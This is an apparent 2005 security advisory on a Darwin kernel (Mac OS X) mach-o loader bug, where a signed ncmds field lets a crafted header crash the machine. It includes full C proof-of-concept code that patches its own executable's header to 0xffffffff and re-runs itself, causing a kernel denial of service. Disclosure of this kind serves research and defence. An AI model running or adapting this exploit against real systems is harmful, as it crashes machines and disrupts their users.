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[UNIX] Darwin Kernel ncmds Vulnerability

Subject: [UNIX] Darwin Kernel ncmds Vulnerability
Date: 25 Jan 2005 18:58:44 +0200
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  Darwin Kernel ncmds Vulnerability
------------------------------------------------------------------------


SUMMARY

Numerous bugs exist in the Darwin Kernel used by Mac OSX Some of the bugs 
we investigated exist due to lack of input validation in the mach-o 
loader. The vulnerability described here allows a malicious attacker to 
crash the target machine.

DETAILS

Vulnerable Systems:
 * Darwin Kernel version 7.7.0 and prior

In the file bsd/kern/mach_loader.c the mach-o header is parsed and for the 
most part each field is trusted to be acceptable. In the mach-o loader 
code (parse_machfile()) ncmds and offset are both declared as signed 
integers, however the appropriate structs used to read from the file are 
unsigned. After a little investigation a DoS was quickly written to set 
ncmds to -1.

        ncmds = header->ncmds;
                        while (ncmds--) {

Proof of Concept Code:
The code below will cause a denial of service on MacOSX 10.3.7 and below.
//---------------------( fm-nacho.c )--------------------------
/*
 * DoS for Darwin Kernel Version < 7.5.0
 * -(nemo@pulltheplug.org)-
 * 2005
 *
 * greetz to awnex, cryp, nt, andrewg, arc, mercy, amnesia ;)
 * irc.pulltheplug.org (#social)
 */

#include <stdio.h>

int main(int ac, char **av)
{
        FILE *me;
        int rpl = 0xffffffff;
        fpos_t pos = 0x10;
        printf("-( nacho - 2004 DoS for OSX (darwin < 7.5.0 )-\n");
        printf("-( nemo@pulltheplug.org )-\n\n");
        printf("[+] Opening file for writing.\n");
        if(!(me = fopen(*av,"r+"))) {
                printf("[-] Error opening exe.\n");
                exit(1);
        }
        printf("[+] Seeking to ncmds.\n");
        if((fsetpos(me,&pos)) == -1) {
                printf("[-] Error seeking to ncmds.\n");
                exit(1);
        }
        printf("[+] Changing ncmds to 0x%x.\n",rpl);
        if(fwrite(&rpl,4,1,me) < 1) {
                printf("[-] Error writing to file.\n");
                exit(1);
        }
        fclose(me);
        printf("[+] Re-executing with modified mach-o header.\n");
        sleep(5);
        if(execv(*av,av) == -1 ) {
                printf("[-] Error executing %s, please run 
manually.\n",*av);
                exit(1);
        }
        exit(0); // hrm
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:nemo@felinemenace.org> nemo.



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